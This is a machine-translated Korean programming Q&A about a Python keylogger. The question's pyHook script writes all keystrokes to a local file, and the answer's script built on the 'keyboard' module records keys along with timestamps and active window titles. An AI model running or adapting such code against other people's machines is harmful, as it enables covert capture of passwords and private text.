2017-02-03 20 views
1

간단한 키 로깅 프로그램을 만들었습니다. 키보드에 입력 된 모든 것은 log.txt 파일로 보내집니다. 문제는 내 코드가 ASCII 코드에서만 작동한다는 것입니다. 그리스 문자를 입력하면 영어로 처리됩니다. (문자 일반적으로 모든 종류의) pyHook을 사용하여 유니 코드 값을 읽을 수 있습니까?

  • 로그 이벤트 등 우리 Alt 키, Ctrl 키 등
  • 내 코드도

    1. 그리스어 문자 또는 다른 언어를 수락 :

      나는 내 코드가 원하는 지금까지 :

      import pyHook , pythoncom , sys , logging , os 
      
      file_log = "C:\\Users\\admin\\Desktop\\New folder\\log.txt" 
      f = open(file_log , 'w') 
      try: 
          f.seek(0) 
          f.truncate() 
      finally: 
          f.close() 
      
      def OnKeyboardEvent(event): 
          logging.basicConfig(filename=file_log,level = logging.DEBUG , format='%(message)s') 
          chr(event.Ascii) 
          logging.log(10,chr(event.Ascii)) 
          key = chr(event.Ascii) 
          print key 
          if (key == 'p'): 
            os.startfile("C:\\Users\\admin\\Desktop\\New folder\\log.txt") 
            sys.exit() 
          return True 
      
      hooks_manager = pyHook.HookManager() 
      hooks_manager.KeyDown = OnKeyboardEvent 
      hooks_manager.HookKeyboard() 
      pythoncom.PumpMessages() 
      

      내 프로그램에서 유니 코드를 허용해야합니까?

      어떻게 그렇게 할 수 있습니까?

    +0

    어떻게 당신이 테스트 파이썬 3.5에서 테스트? – usr2564301

    +0

    @RadLexus 내 log.txt 파일을 확인합니다. 나는 그리스 문자를 입력하면 오류가 추가됩니다 –

    +0

    나는 그 마지막 부분을 의미. 그리스 문자는 어떻게 입력합니까? 그리스어 키보드 드라이버가 있습니까? – usr2564301

    답변

    0

    다른 모듈을 사용하는 것이 좋습니다. 나는 PyHook을 직접 사용해 보았지만 deadkeys ('`^)를 누르는 동안 나에게 문제가 발생했다. 일반적으로 á와 같은 특수 문자를 사용하는 다른 언어는 데드 키를 포함하고있다. PyHook은 그들을 잘 처리하지 못한다. 현재 사용중인 모듈은 keyboard입니다. 키보드는 데드 키를 제대로 처리하며, 데드 키가 발생하는 동안 이상한 동작을 보이지 않습니다. 어쩌면 키보드가 당신을위한 솔루션 일 수도 있습니다. 키보드를 사용하는 예는 다음과 같다 :

    from keyboard import on_press, on_release, wait 
    from win32gui import GetWindowText, GetForegroundWindow 
    from datetime import datetime 
    
    def display(event, key): 
        global ctrlpressed, shiftpressed, lastwindow 
        if lastwindow != GetWindowText(GetForegroundWindow()): 
         lastwindow = GetWindowText(GetForegroundWindow()) 
         print("New Window: " + lastwindow) 
        print('{0:8} {1:3} {2:5} {3:5} {4}'.format(datetime.fromtimestamp(event.time).strftime('%H:%M:%S'), event.scan_code, str(ctrlpressed), str(shiftpressed), key)) 
    
    def KeyPressed(event): 
        global ctrlpressed, shiftpressed 
        if(event.name == 'left shift' or event.name == 'right shift'): 
         shiftpressed = True; 
        elif(event.name == 'left ctrl' or event.name == 'right ctrl'): 
         ctrlpressed = True; 
        else: 
         display(event, event.name) 
    
    def KeyReleased(event): 
        global ctrlpressed, shiftpressed 
        if(event.name == 'left shift' or event.name == 'right shift'): 
         shiftpressed = False; 
        elif(event.name == 'left ctrl' or event.name == 'right ctrl'): 
         ctrlpressed = False; 
    
    ctrlpressed = shiftpressed = False; 
    lastwindow = ""; 
    on_press(KeyPressed) 
    on_release(KeyReleased) 
    wait()